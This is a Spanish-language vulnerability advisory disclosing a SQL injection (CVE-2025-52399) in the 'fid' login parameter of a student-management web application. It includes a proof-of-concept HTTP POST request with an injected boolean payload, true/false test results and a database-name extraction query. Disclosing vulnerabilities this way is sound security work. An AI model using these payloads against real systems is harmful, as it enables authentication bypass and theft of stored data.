CVE-2025-52399 - Inyección SQL en Institute of Current Students

Resumen

El endpoint loginlinkfaculty de la aplicación Institute-of-Current-Students es vulnerable a la inyección SQL a través del parámetro POST fid. El parámetro no se saneja adecuadamente antes de usarse en una consulta SQL, lo que permite a atacantes remotos ejecutar comandos SQL arbitrarios.

• Tipo de vulnerabilidad: Inyección SQL
• Componente afectado: /loginlinkfaculty (POST)
• Parámetro afectado: fid
• Autenticación: No requerida
• Impacto: Omisión de autenticación, extracción de datos
• Probado en: Localhost
• Base de datos: icsnew
• Versión: 1.0

PoC

Petición HTTP

POST /Institute-of-Current-Students/loginlinkfaculty HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

fid=-1'+OR+3*2*1=6+AND+000942=000942--&pass=example

Resultado del payload

✅ -1' OR 3*2*1=6 AND 000942=000942 -- → VERDADERO ❌ -1' OR 2*3=4 AND 000942=000942 -- → FALSO

Extracción de base de datos

SELECT database(); -- returns 'icsnew'

Referencias

• CVE-2025-52399 (MITRE)
• Aplicación vulnerable
• OWASP SQL Injection

Descubridor

Isroil Mustafoqulov